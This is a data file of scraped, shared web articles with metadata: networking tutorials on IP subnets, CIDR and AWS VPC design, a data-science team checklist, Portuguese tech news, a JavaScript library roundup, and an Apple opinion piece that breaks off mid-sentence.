1473376207,CONTENT SHARED,4579392053042969226,3302556033962996625,-1250485000127918160,,,,HTML,https://www.digitalocean.com/community/tutorials/understanding-ip-addresses-subnets-and-cidr-notation-for-networking,"Understanding IP Addresses, Subnets, and CIDR Notation for Networking","Introduction Understanding networking is a fundamental part of configuring complex environments on the internet. This has implications when trying to communicate between servers efficiently, developing secure network policies, and keeping your nodes organized. In a previous guide, we went over some basic networking terminology . You should look through that guide to make sure you are familiar with the concepts presented there. In this article, we will discuss some more specific concepts that are involved with designing or interacting with networked computers. Specifically, we will be covering network classes, subnets, and CIDR notation for grouping IP addresses. Understanding IP addresses Every location or device on a network must be addressable . This is simply a term that means that it can be reached by referencing its designation under a predefined system of addresses. In the normal TCP/IP model of network layering, this is handled on a few different layers, but usually, when we refer to an address on a network, we are talking about an IP address. IP addresses allow network resources to be reached through a network interface. If one computer wants to communicate with another computer, it can address the information to the remote computer's IP address. Assuming that the two computers are on the same network, or that the different computers and devices in between can translate requests across networks, the computers should be able to reach each other and send information. Each IP address must be unique on its own network. Networks can be isolated from one another, and they can be bridged and translated to provide access between distinct networks. A system called Network Address Translation , allows the addresses to be rewritten when packets traverse network borders to allow them to continue on to their correct destination. This allows the same IP address to be used on multiple, isolated networks while still allowing these to communicate with each other if configured correctly. The difference between IPv4 and IPv6 There are two revisions of the IP protocol that are widely implemented on systems today. IPv4, which is the fourth version of the protocol, currently is what the majority of systems support. The newer, sixth revision, called IPv6, is being rolled out with greater frequency due to improvements in the protocol and the limitations of IPv4 address space. Simply put, the world now has too many internet-connected devices for the amount of addresses available through IPv4. IPv4 addresses are 32-bit addresses. Each byte, or 8-bit segment of the address, is divided by a period and typically expressed as a number 0-255. Even though these numbers are typically expressed in decimal to aid in human comprehension, each segment is usually referred to as an octet to express the fact that it is a representation of 8 bits. A typical IPv4 address looks something like this: The lowest value in each octet is a 0, and the highest value is 255. We can also express this in binary to get a better idea of how the four octets will look. We will separate each 4 bits by a space for readability and replace the dots with dashes: Recognizing that these two formats represent the same number will be important for understanding concepts later on. Although there are some other differences in the protocol and background functionality of IPv4 and IPv6, the most noticeable difference is the address space. IPv6 expresses addresses as an 128-bit number. To put that into perspective, this means that IPv6 has space for more than 7.9×10 28 times the amount of addresses as IPv4. To express this extended address range, IPv6 is generally written out as eight segments of four hexadecimal digits. Hexadecimal numbers represent the numbers 0-15 by using the digits 0-9, as well as the numbers a-f to express the higher values. A typical IPv6 address might look something like this: You may also see these addresses written in a compact format. The rules of IPv6 allow you to remove any leading zeros from each octet, and to replace a single range of zeroed groups with a double colon (::). For instance, if you have one group in an IPv6 address that looks like this: You could instead just type: To demonstrate the second case, if you have a range in an IPv6 address with multiple groups as zeroes, like this: You could compact this like so (also removing the leading zeros of the group like we did above): You can do this only once per address, or else the full address will be unable to be reconstructed. While IPv6 is becoming more common every day, in this guide, we will be exploring the remaining concepts using IPv4 addresses because it is easier to discuss with a smaller address space. IPv4 Addresses Classes and Reserved Ranges IP addresses are typically made of two separate components. The first part of the address is used to identify the network that the address is a part of. The part that comes afterwards is used to specify a specific host within that network. Where the network specification ends and the host specification begins depends on how the network is configured. We will discuss this more thoroughly momentarily. IPv4 addresses were traditionally divided into five different ""classes"", named A through E, meant to differentiate segments of the available addressable IPv4 space. These are defined by the first four bits of each address. You can identify what class an IP address belongs to by looking at these bits. Here is a translation table that defines the addresses based on their leading bits: Class D addresses are reserved for multi-casting protocols, which allow a packet to be sent to a group of hosts in one movement. Class E addresses are reserved for future and experimental use, and are largely not used. Traditionally, each of the regular classes (A-C) divided the networking and host portions of the address differently to accommodate different sized networks. Class A addresses used the remainder of the first octet to represent the network and the rest of the address to define hosts. This was good for defining a few networks with a lot of hosts each. The class B addresses used the first two octets (the remainder of the first, and the entire second) to define the network and the rest to define the hosts on each network. The class C addresses used the first three octets to define the network and the last octet to define hosts within that network. The division of large portions of IP space into classes is now almost a legacy concept. Originally, this was implemented as a stop-gap for the problem of rapidly depleting IPv4 addresses (you can have multiple computers with the same host if they are in separate networks). This was replaced largely by later schemes that we will discuss below. Reserved Private Ranges There are also some portions of the IPv4 space that are reserved for specific uses. One of the most useful reserved ranges is the loopback range specified by addresses from 127.0.0.0 to 127.255.255.255. This range is used by each host to test networking to itself. Typically, this is expressed by the first address in this range: 127.0.0.1. Each of the normal classes also have a range within them that is used to designate private network addresses. For instance, for class A addresses, the addresses from 10.0.0.0 to 10.255.255.255 are reserved for private network assignment. For class B, this range is 172.16.0.0 to 172.31.255.255. For class C, the range of 192.168.0.0 to 192.168.255.255 is reserved for private usage. Any computer that is not hooked up to the internet directly (any computer that goes through a router or other NAT system) can use these addresses at will. There are additional address ranges reserved for specific use-cases. You can find a summary of reserved addresses here. Netmasks and Subnets The process of dividing a network into smaller network sections is called subnetting . This can be useful for many different purposes and helps isolate groups of hosts together and deal with them easily. As we discussed above, each address space is divided into a network portion and a host portion. The amount the address that each of these take up is dependent on the class that the address belongs to. For instance, for class C addresses, the first 3 octets are used to describe the network. For the address 192.168.0.15 , the 192.168.0 portion describes the network and the 15 describes the host. By default, each network has only one subnet, which contains all of the host addresses defined within. A netmask is basically a specification of the amount of address bits that are used for the network portion. A subnet mask is another netmask within used to further divide the network. Each bit of the address that is considered significant for describing the network should be represented as a ""1"" in the netmask. For instance, the address we discussed above, 192.168.0.15 can be expressed like this, in binary: As we described above, the network portion for class C addresses is the first 3 octets, or the first 24 bits. Since these are the significant bits that we want to preserve, the netmask would be: This can be written in the normal IPv4 format as 255.255.255.0 . Any bit that is a ""0"" in the binary representation of the netmask is considered part of the host portion of the address and can be variable. The bits that are ""1"" are static, however, for the network or subnetwork that is being discussed. We determine the network portion of the address by applying a bitwise AND operation to between the address and the netmask. A bitwise AND operation will basically save the networking portion of the address and discard the host portion. The result of this on our above example that represents our network is: This can be expressed as 192.168.0.0 . The host specification is then the difference between these original value and the host portion. In our case, the host is "" 0000 1111 "" or 15 . The idea of subnetting is to take a portion of the host space of an address, and use it as an additional networking specification to divide the address space again. For instance, a netmask of 255.255.255.0 as we saw above leaves us with 254 hosts in the network (you cannot end in 0 or 255 because these are reserved). If we wanted to divide this into two subnetworks, we could use one bit of the conventional host portion of the address as the subnet mask. So, continuing with our example, the networking portion is: The host portion is: We can use the first bit of our host to designate a subnetwork. We can do this by adjusting the subnet mask from this: To this: In traditional IPv4 notation, this would be expressed as 192.168.0.128 . What we have done here is to designate the first bit of the last octet as significant in addressing the network. This effectively produces two subnetworks. The first subnetwork is from 192.168.0.1 to 192.168.0.127 . The second subnetwork contains the hosts 192.168.0.129 to 192.168.0.255 . Traditionally, the subnet itself must not be used as an address. If we use more bits out of the host space for networking, we can get more and more subnetworks. CIDR Notation A system called Classless Inter-Domain Routing , or CIDR, was developed as an alternative to traditional subnetting. The idea is that you can add a specification in the IP address itself as to the number of significant bits that make up the routing or networking portion. For example, we could express the idea that the IP address 192.168.0.15 is associated with the netmask 255.255.255.0 by using the CIDR notation of 192.168.0.15/24 . This means that the first 24 bits of the IP address given are considered significant for the network routing. This allows us some interesting possibilities. We can use these to reference ""supernets"". In this case, we mean a more inclusive address range that is not possible with a traditional subnet mask. For instance, in a class C network, like above, we could not combine the addresses from the networks 192.168.0.0 and 192.168.1.0 because the netmask for class C addresses is 255.255.255.0 . However, using CIDR notation, we can combine these blocks by referencing this chunk as 192.168.0.0/23 . This specifies that there are 23 bits used for the network portion that we are referring to. So the first network (192.168.0.0) could be represented like this in binary: While the second network (192.168.1.0) would be like this: The CIDR address we specified indicates that the first 23 bits are used for the network block we are referencing. This is equivalent to a netmask of 255.255.254.0 , or: As you can see, with this block the 24th bit can be either 0 or 1 and it will still match, because the network block only cares about the first 23 digits. Basically, CIDR allows us more control over addressing continuous blocks of IP addresses. This is much more useful than the subnetting we talked about originally. Conclusion Hopefully by now, you should have a working understanding of some of the networking implications of the IP protocol. While dealing with this type of networking is not always intuitive, and may be difficult to work with at times, it is important to understand what is going on in order to configure your software and components correctly. There are various calculators and tools online that will help you understand some of these concepts and get the correct addresses and ranges that you need by typing in certain information. Here, you can find a subnet calculator , a CIDR range finder , and an IP address to binary octets converter . Use these tools to help you when making networking decisions.",en
1473376415,CONTENT SHARED,6524157088939139948,3302556033962996625,-1250485000127918160,,,,HTML,https://medium.com/aws-activate-startup-blog/practical-vpc-design-8412e1a18dcc,Practical VPC Design - AWS Startup Collection,"Practical VPC Design 301 level guidance from an AWS Solutions Architect Few areas of cloud infrastructure are more important to get right from the start than the IP address layout of one's Virtual Private Cloud (VPC). VPC design has far-reaching implications for scaling, fault-tolerance and security. It also directly affects the flexibility of your infrastructure: paint yourself into a corner, and you'll spend ungodly amounts of time migrating instances across subnets to free up address space. Fortunately, it's easier to lay out a VPC the right way than the wrong way. You just have to keep a few principles in mind. Subnets Proper subnet layout is the key to a well-functioning VPC. Subnets determine routing, Availability Zone (AZ) distribution, and Network Access Control Lists (NACLs). The most common mistake I've observed around VPC subnetting is the treatment of a VPC like a data center network. VPC's are not data centers. They are not switches. They are not routers. (Although they perform the jobs of all three.) A VPC is a software-defined network (SDN) optimized for moving massive amounts of packets into, out of and across AWS regions. Your packet is picked up at the front door and dropped off at its destination. It's as simple as that. Because of that simplicity, a number of data center and networking-gear issues are eliminated at the outset. A bit of history: when I first started building data centers in the 90's, we had 10 Mb/s ethernet switches. Ethernet uses Address Resolution Protocol (ARP) broadcasts to determine who's where in the switch fabric. Because of that, network segments are chatty in direct proportion to the number of hosts on the broadcast domain. So anything beyond a couple hundred hosts would start to degrade performance. That, combined with the counter-intuitive nature of IPv4 subnet math, led to the practical effect of everyone using 24-bit subnets for different network segments. Three-octet addresses seemed to sit right in the sweet spot of all the constraints. That thinking is no longer valid in a cloud environment. VPCs support neither broadcast nor multicast. What looks like ARP to the OS is actually the elegant function of the SDN. With that in mind, there is absolutely no reason to hack a VPC into 24-bit subnets. In fact, you have an important reason not to: waste. When you have a ""middle-tier"" subnet with 254 addresses available (or 128 or 64 or 32 or 16) and you only have 4 middle-tier hosts, the rest of those addresses are unavailable for the remainder of your workloads. If instead you have a mixed-use subnet with 4,094 addresses, you can squeeze every last IP for autoscaling groups and more. Thus it behooves you to make your subnets as large as possible. Doing so gives you the freedom to dynamically allocate from an enormous pool of addresses. Generally speaking, there are three primary reasons to create a new subnet: You need different hosts to route in different ways (for example, internal-only vs. public-facing hosts) You are distributing your workload across multiple AZs to achieve fault-tolerance. Always, ALWAYS do this. You have a security requirement that mandates NACLs on a specific address space (for example, the one in which the database with your customers' personally identifiable information resides) Let's look at each of these factors in turn. Routing All hosts within a VPC can route to all other hosts within a VPC. Period. The only real question is what packets can route into and out of the VPC. In fact, you could easily have a VPC that doesn't allow packets to enter or leave at all. Just create a VPC without an Internet Gateway or Virtual Private Gateway. You've effectively black-holed it. A VPC that can't serve any network traffic would be of dubious value, so let's just assume that you have an app that you're making available to the Internet. You add an Internet Gateway and assign some Elastic IP addresses to your hosts. Does this mean they're publicly accessible? No, it does not. You need to create a route table for whom the Internet Gateway is the default route. You then need to apply that table to one or more subnets. After that, all hosts within those subnets will inherit the routing table. Anything destined for an IP block outside the VPC will go through the Internet Gateway, thus giving your hosts the ability to respond to external traffic. That said, almost no app wants all its hosts to be publicly accessible. In fact, good security dictates the principle of least privilege. So any host that doesn't absolutely need to be reachable directly from the outside world shouldn't be able to send traffic directly out the front door. These hosts will need a different route table from the ones above. Subnets can have only one route table (though route tables can be applied to more than one subnet). If you want one set of hosts to route differently from another, you need to create a new subnet and apply a new route table to it. Fault-Tolerance AWS provides geographic distribution out of the box in the form of Availability Zones (AZs). Every region has at least two. Subnets cannot span multiple AZs. So to achieve fault tolerance, you need to divide your address space among the AZs evenly and create subnets in each. The more AZs, the better: if you have three AZs available, split your address space into four parts and keep the fourth segment as spare capacity. In case it's not obvious, the reason you need to divide your address space up evenly is so the layout of each AZ is the same as the others. When you create resources like autoscaling groups, you want them to be evenly distributed. If you create disjointed address blocks, you're creating a maintenance nightmare for yourself and you will regret it later. Security The first layer of defense in a VPC is the tight control you have over what packets can enter and leave. Above the routing layer are two levels of complementary controls: Security Groups and NACLs. Security Groups are dynamic, stateful and capable of spanning the entire VPC. NACLs are stateless (meaning you need to define inbound and outbound ports), static and subnet-specific. Generally, you only need both if you want to distribute change control authority over multiple groups of admins. For instance, you might want your sys admin team to control the security groups and your networking team to control the NACL's. That way, no one party can single-handedly defeat your network restrictions. In practice, NACLs should be used sparingly and, once created, left alone. Given that they're subnet-specific and punched down by IP addresses, the complexity of trying to manage traffic at this layer increases geometrically with each additional rule. Security Groups are where the majority of work gets done. Unless you have a specific use-case like the ones described earlier, you'll be better served by keeping your security as simple and straightforward as possible. That's what Security Groups do best. An Example The above was meant as a set of abstract guidelines. I'd like to provide a concrete example to show how all this works together in practice. The simplest way to lay out a VPC is to follow these steps: Evenly divide your address space across as many AZ's as possible. Determine the different kinds of routing you'll need and the relative number of hosts for each kind. Create identically-sized subnets in each AZ for each routing need. Give them the same route table. Leave yourself unallocated space in case you missed something. (Trust me on this one.) So for our example, let's create a standard n-tier app with web hosts that are addressable externally. We'll use 10.0.0.0/16 as our address space. The easiest way to lay out a VPC's address space is to forget about IP ranges and think in terms of subnet masks. For example, take the 10.0.0.0/16 address space above. Let's assume you want to run across all three AZs available to you in us-west-2 so your Mongo cluster can achieve a reliable quorum. Doing this by address ranges would be obnoxious. Instead, you can simply say ""I need four blocks-one for each of the three AZs and one spare."" Since subnet masks are binary, every bit you add to the mask divides your space in two. So if you need four blocks, you need two more bits. Your 16-bit becomes four 18-bits. Now within each AZ, you determine you want a public subnet, a private subnet and some spare capacity. Your publicly-accessible hosts will be far fewer in number than your internal-only ones, so you decide to give the public subnets half the space of the private ones. To create the separate address spaces, you just keep adding bits. To wit: Later on, if you want to add a ""Protected"" subnet with NACL's, you just subdivide your Spare space: Just make sure whatever you do in one AZ, you duplicate in all the others: Your routing tables would look like this: Create those two route-tables and then apply them to the correct subnets in each AZ. You're done. And in case anyone on your team gets worried about running out of space, show them this table: Obviously, you're not going to need 4,000 IP addresses for your web servers. That's not the point. The point is that this VPC has only those routing requirements. There's no reason to create new subnets in this VPC that don't need to route differently within the same AZ. Conclusion Done properly, this method of planning goes a long way to ensuring you won't get boxed in by an early decision. Everything that you'll get into from here - Security Groups, Auto Scaling , Elastic Load Balancing , Amazon Relational Database Service, AWS Direct Connect, and more - will fit neatly into this model. Nathan McCourtney, Senior Consultant, AWS Professional Services.",en
1473380180,CONTENT SHARED,-1403735753867098241,3829784524040647339,-7148261025003634915,,,,HTML,https://blog.dominodatalab.com/joel-test-data-science/,"The ""Joel Test"" for Data Science","It's the sixteenth anniversary of Joel Spolsky's "" Joel Test ,"" which he described as a ""highly irresponsible, sloppy test to rate the quality of a software team."" Back then (the late 1990s), software development was: Being recognized across industries as an invaluable capability for improving business outcomes; Undergoing a change from solo practioners and small teams to large collaborative teams; Undergoing a rapid evolution of best practices and tooling to support its practitioners; Heavily in demand, creating lucrative job opportunities for competent practitioners; Eating the world . We think data science is going through a similar phase of evolution and maturation, so we thought it would be helpful to write something like the Joel Test for assessing the maturity of your data science program . It's our ""highly irresponsible sloppy test to rate the quality of a data science team."" Here's our first draft, let us know what you think: The ""Joel Test"" for Data Science Can new hires get set up in the environment to run analyses on their first day? Can data scientists utilize the latest tools/packages without help from IT? Can data scientists use on-demand and scalable compute resources without help from IT/dev ops? Can data scientists find and reproduce past experiments and results, using the original code, data, parameters, and software versions? Does collaboration happen through a system other than email? Can predictive models be deployed to production without custom engineering or infrastructure work? Is there a single place to search for past research and reusable data sets, code, etc? Do your data scientists use the best tools money can buy? These are not the only factors that will determine success of your data science program. For example, the questions above don't cover anything related to the connection between data science work and business drivers (""do all your data science projects have a clear business goal and engaged business stakeholders?""). And you still need great people on your team. However, if you answer ""yes"" to all or most of the questions above, then you're working in a way that makes good outcomes much more likely. 1. Can new hires get set up in the environment to run analyses on their first day? We've seen organizations where it takes over a month for a new data scientist to even begin contributing. Onboarding can be delayed because new hires spend time getting the right software installed on their computer; finding and getting access to the right versions of internal resources (code, data sets) to use; and learning how to follow internal processes. 2. Can data scientists utilize the latest tools/packages without help from IT? There is a flourishing ecosystem of open-source tools for data science. No single tool will be a panacea-rather, organizations will be most effective when they are agile enough to experiment with new tools and techniques. To that end, trying a new package should be possible at the speed of your natural research process, rather than becoming a bureacratic IT approval process. 3. Can data scientists use on-demand and scalable compute resources without help from IT/dev ops? As data volumes grow and data science algorithms become more computationally intensive, it's critical to have access to scalable compute resources. As with the point about packages above, research will progress faster if IT or dev ops processes aren't a bottleneck for data scientists. 4. Can data scientists find and reproduce past experiments and results, using the original code, data, parameters, and software versions? The first question of the original Joel Test is ""do you use source control?"" In our experience, source control is necessary but insufficient for robust data science, becaue source code alone is not enough to reproduce past work. Rather, we think it's important to have a record of experiments -including the results, parameters, data sources, and the code that were used to produce them. The most mature organizations will also be able to re-instantiate the underlying software environment (e.g., which version of language, packages) to reproduce a past result. 5. Does collaboration happen through a system other than email? Data science is a team sport. During the course of a project, you'll likely get feedback both from technical colleagues and non-technical stakeholders. How are you sharing results and recording feedback and conversations? If it's happening over email, there's a good chance that those conversations and the organizational knowledge you're accumulating will be lost. It won't be available to new people who look back at the work later; it will be lost if the project members leave the organization; it's not searchable or discoverable later. A good data science collaboration platform will keep work and discussion centralized, make it searchable, etc. There are plenty of ways to do it, and email is a convenient way to get work into such a platform, but email should not be the primary way that collaboration happens. 6. Can predictive models be deployed to production without custom engineering or infrastructure work? If engineers must be involved to integrate data science output into business processes, you are delaying your time-to-market, thus reducing the value of your data science work. Infrastructure and platforms can empower data scientists to quickly ""productionize"" their work without an extra-and some times very long-step. 7. Is there a single place to search for past research and reusable data sets, code, etc? Many data scientists believe they make their biggest impact when they answer a question, produce a model, or create a report. Actually, the longer-lasting, more leveraged impact is made when their work contributes to the collective knowledge of the organization in a way that can be built upon in the future. Therefore it is important that, as research progresses, it's persisted in a way that can be discovered and reused later-and the other side of that coin is that people have an easy way to find and reuse that past work. Searching across dozens of network folders, Sharepoint sites, and repositories is not an effective way to preserve organizational knowledge. There should be a single system of record, even if that yields results that link out to auxillary systems. 8. Do your data scientists use the best tools money can buy? We took this one straight from Joel's list. Data scientists are expensive, value-adding people-equipping them well is a great investment. Banner image titled ""Graffiti & Street Art At Portobello (Dublin)"" by William Murphy. Licensed under CC BY-SA 2.0",en
1473428882,CONTENT SHARED,-6644783190271298310,2542290381109225938,-6823273593028361637,,,,HTML,http://exame.abril.com.br/negocios/dino/noticias/principais-startups-do-ramo-de-saude-criam-o-1o-cluster-de-saude-digital-do-brasil.shtml,Principais startups do ramo de saúde criam o 1o Cluster de Saúde Digital do Brasil | EXAME.com,"Seis das startups mais reconhecidas do mercado acabam de criar o 1o Cluster de Saúde Digital do Brasil, que reúne seus serviços com o objetivo de atender e gerar mais valor aos grandes players do mercado, como Hospitais, Laboratórios, Operadoras e Seguradoras de Saúde e o setor Farmacêutico. As startups que compõem o Cluster já auxiliam diretamente quase 1 milhão de usuários com seus produtos e serviços. São conhecidas no mercado e entre as startups de Saúde, e juntas conseguem atender várias linhas de negócios em pequenas, médias ou grandes instituições de saúde. Sobre o Cluster de Saúde Digital A ideia do ""cluster"" surgiu tendo em vista o atual cenário das startups e instituições de saúde. ""De um lado temos as empresas de saúde consolidadas, sem tanto problemas financeiros, que desejam trabalhar com startups mas cujos processos internos acabam dificultando as implantações"", disse Immo Paul, fundador da Carenet, startup responsável pela análise de dados de saúde móvel. ""Já do outro temos as startups, com propostas que ajudam de verdade as empresas e que matam um leão por dia pra encontrar seu nicho"", completou. Fernando Nandico, do MovaMais, startup que recompensa atividades físicas, disse ter gostado da ideia desde o início. ""A possibilidade de cross-selling é imensa e com este Cluster já estamos presentes em 4 estados do Brasil, que vai ajudar no crescimento dos membros (DF, SP, MG e SC)"". Já para Lívia, fundadora do Dr. Cuco, startup responsável pela adesão de medicamentos, a união das startups criará um marco histórico no mercado de Saúde do Brasil. ""Não encontramos nenhuma iniciativa parecida, com a proposta de realmente acompanhar a jornada do paciente com ferramentas digitais de engajamento"", completou. ""Apesar de já atendermos grandes clientes, acredito que o Cluster conseguirá dar musculatura para as startups e aumentar ainda mais o valor agregado para as empresas"", comentou a Dra. Cristiane Benvenuto, cofundadora do Medicinia, startup responsável pela comunicação entre médicos, profissionais de saúde e pacientes. Para Ricardo Moraes, CEO da Memed, startup responsável pela solução de e-prescrição e consulta de medicamentos, o cluster proporciona uma abrangência de conhecimentos fazendo com que o mercado de saúde se fortaleça. ""Essa troca de experiências e misturas faz surgir um mercado sólido que supre todas as áreas e necessidades dos nossos clientes"", acrescentou. O fundador da Cybergia, Dr. André Queiroz, startup responsável pela gestão da saúde populacional, comentou que pelas startups serem totalmente complementares, não concorrentes, a união entre elas só vem agregar mais valor ao mercado em geral. ""Somos todos guerreiros neste imenso mercado de Saúde do Brasil e juntos conseguiremos oferecer uma proposta de valor mais completa"", disse ele. Ao invés de gerenciar cada um dos serviços, as empresas interessadas em fazer negócios com o Cluster poderão acessar um Painel único com todos os dados referentes às startups que contrataram. A integração entre as startups beneficiará também seus atuais clientes, que podem contratar serviços complementares de forma mais simples e integrada. É sempre um desafio para as startups conseguirem atender as recomendações das empresas, pois elas (startups) geralmente resolvem um problema específico e são focadas em uma única solução. Os membros do Cluster estão convencidos que juntos, acumulando 50 anos de experiência profissional na saúde, poderão atender qualquer desafio dos seus clientes. As startups do ""cluster"" já tem reuniões de vendas agendadas em conjunto, para apresentarem uma solução mais completa aos clientes e promoverem o próprio Cluster. Startups participantes do Cluster Foco em integração: Carenet Longevity ( www.carenet.com.br ) acelerada pela Wayra / Telefônica Open Future A Carenet foi fundada por sócios suíços e brasileiros, e desenvolveu a maior Plataforma de Integração de Dados de Saúde Digital da América Latina, ajudando empresas a aproveitar dos dados gerados por wearables, aplicativos de saúde, smartphones e dispositivos médicos, de forma rápida e sem grandes investimentos. Foco em recompensas: MovaMais ( ) Mova Mais é uma plataforma de motivação para a prática continuada de atividades físicas através da oferta de recompensas aos consumidores. Foco em tratamento: Dr. Cuco ( ) Fundada em 2015, o Dr. CUCO oferece soluções para melhorar a experiência do tratamento médico dos pacientes. Foco em comunicação: Medicinia ( ) Medicinia foi criado em 2012 para reinventar a comunicação em saúde, aproveitando tudo o que a tecnologia pode oferecer para aproximar de forma seguro, humana estruturada as equipes de saúde e seus pacientes. Foco em prescrição: Memed ( ) A Memed é uma plataforma online, onde médicos podem consultar mais de 20.000 medicamentos e fazer prescrições eletrônicas, de maneira rápida e eficiente. Foco em promoção: Cybergia ( ) A Cybergia é uma plataforma web para saúde populacional, que promove saúde, previne doenças e ajuda o gestor a diagnosticar e implementar estratégias populacionais.",pt
1473446474,CONTENT SHARED,6847089514431675996,3609194402293569455,-1091084050150462747,,,,HTML,http://www.diolinux.com.br/2016/09/conheca-ember-impressora-3d-da-autodesk.html,"Conheça Ember, a impressora 3D com hardware e software aberto da Autodesk","Juntamente com a Internet das Coisas, outra grande tendência tecnológica dos últimos tempos são as impressoras 3D. A Autodesk é uma empresa renomada que criou uma solução muito interessante para atender a este público apostando fortemente no Open Source, uma impressora 3D com hardware e software aberto chamada Ember. O que torna o projeto da Autodesk tão interessante, além da estrutura da própria impressora, é o fato de seu hardware e software ser aberto, ou seja, as pessoas interessadas em construir a sua própria Ember poderão fazê-lo, basta ter os recursos necessários para isso. É possível conseguir um nível de detalhamento muito interessante com a Ember, veja abaixo um vídeo acelerado do processo de impressão: _____________________________________________________________________________ Viu algum erro ou gostaria de adicionar alguma sugestão a essa matéria? Colabore, clique aqui.",pt
1473447220,CONTENT SHARED,-912681925384819247,3609194402293569455,-1091084050150462747,,,,HTML,http://tutorialzine.com/2016/09/15-interesting-javascript-and-css-libraries-for-september-2016/,15 Interesting JavaScript and CSS Libraries for September 2016,"15 Interesting JavaScript and CSS Libraries for September 2016 Danny Markov Our mission at Tutorialzine is to keep you up to date with the latest and coolest trends in web development. That's why every month we release a handpicked collection of some of the best resources that we've stumbled upon and deemed worthy of your attention. The list for September 2016 contains a wide variety of different libraries including an excellent drag-and-drop file uploader, a CSS reset, a CSS minifier, background animations, and much more! Very polished JavaScript library that can turn any HTML element into a drag and drop zone for file uploads. Features include thumbnail previews for image uploads, multiple files at once, a progress tracker, support for large files, and many others. Highly customizable, no dependencies. Google's Material Design Lite (MDL) is one of the most beautiful CSS frameworks available. Combine that with Facebooks's hugely successful React JavaScript library and the result is React-MDL, a library that offers a huge collection of React components styled in material design fashion. Postmate is a wrapper of the Window.postMessage() method, allowing pages to speak to iFrames inside them. The library provides a simple promise-based API with which developers can securely access various data about the iFrame and emit events to it from the parent page. A very lightweight and easy to use library for creating animated backgrounds. It consists of a single 2kb .js file and only one method - Particles.init({options}); , taking an object with a fair amount of customizations. There are two animations available: single particles, or connected particles forming beautiful constellations. Charts library built on top of React and D3. Graphs can be created via a simple XML-like syntax, with many of the important options set directly as attributes. The library also offers a rich examples catalog with more than 50 ready-to-use components, including various Line, Bar, Pie and other types of charts. Shepherd let's you take users on a tour of your website or app. With a simple step-based API, you can move the focus successively from one section to another. The HTML element you want to emphasize on is highlight and a text bubble pops up with a title, description and dialog buttons. Did you know that apart from the HTML <audio>> interface there is also a complex JavaScript Web Audio API , offering a ton of advanced sound manipulations. Waud works as a 2-in-1 solution, allowing you to access the JavaScrtip API where it's available, and the HTML API as a fallback. Grade.js takes the two most dominant colors in an image and uses them to create elegant gradients. This effect can be used to make cool image frames or set a matching background to your entire page. The library is very small and has no dependencies whatsoever. Add calming rain animations to your web pages using this small JavaScript library. Under the hood, Rainyday uses a HTML <canvas> element and it's API to draw a realistic glass-like surface with random raindrops trickling down. Instead of simply removing whitespace when minifying style sheets, CSSnano also does several other optimizations such as merging properties into their shorthand equivalents, removing comments, shortening color values, and many many more. CSSnano is compatible with a number of platforms, including Node.js, grunt, gulp, webpack, and the Atom text editor. JavaScript and CSS library for creating input sliders with two handles, allowing users to pick intervals ranging between two numbers (e.g price between 100$ and 500$). On browsers where this behavior cannot be achieved, the library automatically goes back to using two separate sliders. Minireset is a very simple CSS reset library that normalizes only the most important CSS properties without any extra sugar. It resets font-sizes, margins and paddings, sets box-sizing to border-box on all elements, and a few other useful defaults. Since it's so small, you can easily modify this library if you need to change some of the values. WebGL based JavaScript library for creating high-resolution 3D globes and 2D maps. It supports different map providers, weather simulations, and a ton of other complex features. Their Demos page has a big collection of community projects showcasing what Cesium is capable of, including a 3D map of all the building in New York and projects by NASA. Library that tracks elements on the page and reacts when they are about to leave or enter the viewport. The library has no external dependencies and is really easy to use with a simple callback syntax: Papa Parse is a powerful client-side CSV parser. It is full of awesome features like conversion to JSON, support for strings, local files or URls, an asynchronous mode, a quick mode, and much more. This library has no dependencies and can work equally well with vanilla JavaScript or jQuery. by Danny Markov Danny is Tutorialzine's Bootstrap and HTML5 expert. When he is not in the office, you can usually find him riding his bike and coding on his laptop in the park.",en
1473448212,CONTENT SHARED,-9050450867630628092,-709287718034731589,1398497667000331415,,,,HTML,http://www.cultofmac.com/444761/apple-strategy-underpromise-overdeliver/,Apple's secret strategy: Underpromise and overdeliver,"Why the critics are wrong who think Apple's lost its touch. Photo: Apple Apple's always been the company that promised us the world. Steve Jobs' genius was his ability to convince us that every single thing Apple did shifted the Earth on its axis. Recently, that feeling of magical futurism has faded. Apple events have been preceded by a feeling of ""been there, done that."" Forget the ""wireless future"" that Apple talked up at yesterday's iPhone 7 event as it tried to convince us that we really want AirPods and a dongle rather than a headphone jack . If Apple has a strategy in 2016, it's underpromise and overdeliver. And it's working great! The difference between Steve Jobs and Tim Cook Tim Cook gets a lot of flack. Last month, when he marked five years as Apple's CEO, Forbes published an article entitled, "" After 5 Years As Apple CEO, Tim Cook Scores C- "". The accusations were a variation on the criticisms you've heard a million times before: essentially, that Cook isn't Jobs and that his success has been pretty much a lucky accident, amidst acquisitions and dodgy hiring decisions. Generally, it paints Cook's direction of Apple as uninspired. Virtually every recent ""Apple is doomed"" article trots out the same tired trope. I doubt very much if Cook cares. He's been too busy turning Apple into a company that brings in four times the revenue it did in 2010, Jobs' final full year as CEO. It's a dynamic that's characterized Cook's tenure as Apple's maximum leader. Jobs was the visionary who captivated millions and made us believe that buying a portable music player or a candy-colored computer was tantamount to changing the world. Cook was the bean counter who (yawn) revolutionized Apple's logistics chain by bringing Apple's on-hand inventory down from $400 million to just $78 within a few months of joining Apple. Even Cook's early nickname, ""The Attila the Hun of inventory,"" sounds like something you'd call a boring school teacher. Since he took over the reins at Apple, Cook's quiet world-changing behavior has continued. Apple, being Apple, is taciturn about its revolutions. Sure, we have Jony Ive doing his Morgan Freeman ""voice of God"" monologues at Apple events, but some of the company's biggest innovations - like Apple's extraordinary advances in artificial intelligence - don't even get mentioned when they take place. The soft bigotry of low expectations President George W. Bush's speechwriter Michael Gerson coined the phrase "" the soft bigotry of low expectations "" to refer to the idea that we arrogantly assume some people are capable of less. During Cook's time at Apple, we've seen similarly low expectations: Apple is continually undervalued in terms of both its innovation and its share price. It's the reason folks like Carl Icahn were able to swoop in and make billions by investing in AAPL like it was some unproven startup. I've fallen prey to the same low expectations. Earlier this year, I thought Apple's quarterly earnings were going to disappoint. A lot of people did. Cook warned us in advance about falling iPhone sales and, hey, if Apple loses that, what else does it have? Quite a lot, as it turned out . The same phenomenon was in play at yesterday's iPhone 7 event . Sure, I was expecting the iPhone 7 to be a great smartphone, most likely the best smartphone yet created. But it was also, like last year's iPhone 6s, an incremental improvement rather than the kind of ""tear it down and start again"" revolutionary change that mark Apple's best product launches. What a difference a couple of hours make! From Super Mario Run arriving in the App Store to an iPhone that feels like anything but a stopgap as we await next year's 10-anniversary model , Apple's stream of decidedly un-boring announcements was a bit like arriving home on a rainy 